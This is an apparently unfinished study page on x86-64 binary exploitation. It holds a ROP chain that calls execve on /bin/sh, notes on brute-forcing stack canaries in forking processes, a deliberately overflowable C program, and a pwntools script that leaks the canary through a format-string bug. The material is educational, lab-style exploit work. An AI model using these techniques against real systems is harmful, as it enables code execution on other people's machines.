| /bin/sh\0 |
+-----------+
|    0x0    |
+-----------+
|    0x0    |
+-----------+
|           |
+-----------+

OUR GADGET SHOULD BE THIS FOR THE x86_64 CALLING CONVENTION

pop rdx, 0x0068732f6e69622f
pop rax, 0x6b6000
mov qword ptr [rax], rdx ; ret

pop rax, 0x3b       ; 0x3b is 11, execve syscall for x64
pop rdi, 0x6b6000   ; address of /bin/sh string we wrote to
pop rsi, 0x0
pop rdx, 0x0

syscall

HERE TALK ABOUT WRITING /bin/sh TO WRITEABLE MEMORY

ALSO TALK ABOUT LEAKING CANARY

Stack Canaries (HAVENT REALLY STARTED YET)

canaries always end with a 00, since this is little endian it ENDS with a null byte

canary is initialized with the secret address and data ONLY AT PROGRAM STARTUP
if a process forks off of one another, they will all have the same stack canary
so for forking processes, you can brute force the canary

STACK CANARY DOES NOT KNOW IF OVERWRITTEN, ONLY CHECKS VALUE OF STACK CANARY
IF THE VALUE OF CANARY IS NOT RANDOMIZED, AND WE CAN BRUTE FORCE IT, WE CAN OVERWRITE THE
CANARY WITH THE EXACT SAME VALUE, JUMP BACK TO MAIN, AND EXPLOIT OUR BOF

__stack_chk_fail@plt is the canary function

lets take this c program as an example

// gcc test.c -no-pie
#include <stdio.h>
// this program will have stack canary and NX enabled
int main(int argc, char**argv, char**envp) {
    char buffer[16];
    read(0, buffer, 128); // read 128 bytes into a 16 byte buffer
}
// this will only exist within binary, will not be acknowledged by compiler
void win() { system("/bin/bash"); }

labled/commented disassembled :

push   rbp
mov    rbp, rsp

sub    rsp, 0x40
mov    DWORD PTR [rbp-0x24],edi
mov    QWORD PTR [rbp-0x30],rsi
mov    QWORD PTR [rbp-0x38],rdx

mov    rax,QWORD PTR fs:0x28    ; MOVE THE VALUE OF STACK CANARY INTO RAX REGISTER

; an example of what a stack canary displayed in little endianess: 0xdeadbe00

mov    QWORD PTR [rbp-0x8], rax ; writes stack canary to address on the stack relative to base
; our canary is now placed at [rbp-0x8], remember that

; initializing registers, not very relevant to our canary
xor    eax, eax
lea    rax, [rbp-0x20]
mov    edi, 0x80
mov    rsi, rax
mov    edi, 0x0
mov    eax,0x0

call   read@plt
mov    eax, 0x0

; remember how we wrote our canary to [rbp-0x8]?
mov    rcx,QWORD PTR [rbp-0x8]  ; reads canary placed on stack in the call to read
; normally, the value of stack canary ends with a null, 00, in little endianess
; and this is moved into rax, which is then moved to an address relative to stack or base pointer

; if we overwrote [rbp-0x8], which in this case our read call had a buffer overflow vuln in it
; we will OVERWRITE our canary at [rbp-0x8], then it will NOT EQUALS to zero
; hence it will not take the jump back to main, instead print **stack smashing detected**, and quit
sub    rcx,QWORD PTR fs:0x28    ; basically cmp with a value stored globally in memory, hence fs:0x28

; je is the same as jz remember?, jump if zero
je     40119c <main+0x56>       ; continue program execution, pass stack canary

; else exit program and notify
call   401030 <__stack_chk_fail@plt> ; call "**stack smashing detected**"

leave
ret

I have written a script to dynamically leak the stack canary of a binary with a format string vuln

There is nothing that is preventing you from finding the static offset between the input buffer and the stack canary

I just thought that doing it dynamically would be cooler. there really is no difference though, as long as the code does not change the offset between input and stack canary will stay static no matter what stack protections are put in place

#!/usr/bin/env python3
from pwn import *
import sys, time, os

context(arch="amd64", os="linux")
p = process("./fmt")
def leak_canary():
    check = []
    fmt = "%llx."*100

    for i in range(3):
        p.sendline(fmt)
        data = p.recvall(timeout=1).split(b".")
        for i in range(len(data)):
            if str(data[i][-2:].decode()) == "00":
                if len(data[i]) == 16:
                    check.append(i)
    try:
        ind = max(set(check), key=check.count)
        return int(data[ind], 16)
    except ValueError or NoneType:
        log.warning("Could not locate a Stack Canary!")

canary = leak_canary()
log.info("LEAKED STACK CANARY: %s" % hex(canary))

Partial Overwrite

Last updated